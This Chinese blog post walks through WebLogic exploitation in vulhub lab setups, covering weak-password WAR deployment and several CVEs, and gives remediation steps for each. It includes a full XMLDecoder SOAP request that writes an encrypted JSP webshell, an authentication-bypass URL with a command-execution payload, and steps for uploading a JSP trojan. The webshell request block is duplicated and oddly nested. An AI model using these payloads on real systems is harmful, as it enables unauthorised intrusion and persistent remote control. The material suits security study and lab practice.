WebLogic 中间件漏洞

Weblogic介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,默认端口:7001 WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中

后台弱口令GetShell

漏洞描述

通过弱口令进入后台界面 , 上传部署war包 , getshell

影响范围

全版本(前提后台存在弱口令)

环境搭建

cd  vulhub-master/weblogic/weak_password
docker-compose up -d

 访问部署好的war

http://ip​​​​​​/peak/peak.jsp

CVE-2017-3506

XMLDecoder 反序列化漏洞 造成命令执行漏洞

漏洞描述

Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。

影响版本

受影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。

环境搭建

cd  vulhub-master/weblogic/weak_password
docker-compose up -d

在当前页面抓包之后,添加下面请求包,在标签之间分别写存放 jsp 的路径和要写入的shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.154:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/hAccept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1087

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println"><string>
<![CDATA[
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println"><string>
<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 漏洞修复

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:
  ○ Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
  ○ Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
  ○ Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-w sat/ 是否为404页面。

CVE-2019-2725

漏洞描述

wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

影响版本

weblogic 10.x
weblogic 12.1.3

环境搭建

cd  vulhub-master/weblogic/weak_password
docker-compose up -d

如果出现一下页面,则说明存在漏洞

当前页面抓包 , 修改请求包 , 写入shell

哥斯拉连接

漏洞修复

1.禁用bea_wls9_async_response组件;
2.删除wls9_async_response的war包并重启 ;
3.禁止访问 /_async/* 路径。

CVE-2018-2628

WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628

漏洞描述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它 Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化后的数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击

漏洞影响

Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.2.0
Oracle WebLogic Server12.2.1.3.0

环境搭建

cd  vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d

直接使用利用工具(Liqun工具箱)

漏洞修复

1.及时更新补丁 ;
2.禁用T3协议 ;
3.禁止T3端口对外开放,或者限制可访问T3端口的IP来源。
4.升级版本

CVE-2018-2894

WebLogic文件任意上传漏洞

漏洞描述

Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 "生产模式" 下默认不开启,所以该漏洞有一定限制。

漏洞版本

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3

环境搭建

cd  vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d

点击保存 , 进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要

http://ip:7001/ws_utc/config.do

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全 , 点击添加,上传jsp木马

 

右键审查元素 , 然后搜索17 , 找到对应时间戳,拼接木马名称访问

Webshell链接

CVE-2020-14882

WebLogic远程代码执行漏洞

漏洞描述

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。
CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。
使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机

影响版本

Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.1.3.0
Oracle Weblogic Server 12.2.1.3
Oracle Weblogic Server 12.2.1.4
Oracle Weblogic Server 14.1.1.0

环境搭建

cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d

访问管理控制台

http://ip:7001/console/login/LoginForm.jsp

 

使用以下url绕过登录认证 

http://ip:7001/console/css/%252e%252e%252fconsole.portal

此时达到未授权得效果。还未能GetShell。可以利用第二个漏洞(CVE-2020-14883),远程加载XML文件拿到Shell

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/0x7e');")

我们进入到docker中可以看到命令已经成功运行了

这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class

该漏洞利用的缺点是,它要求 Weblogic 服务器能够访问恶意 XML。 

  • 27
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值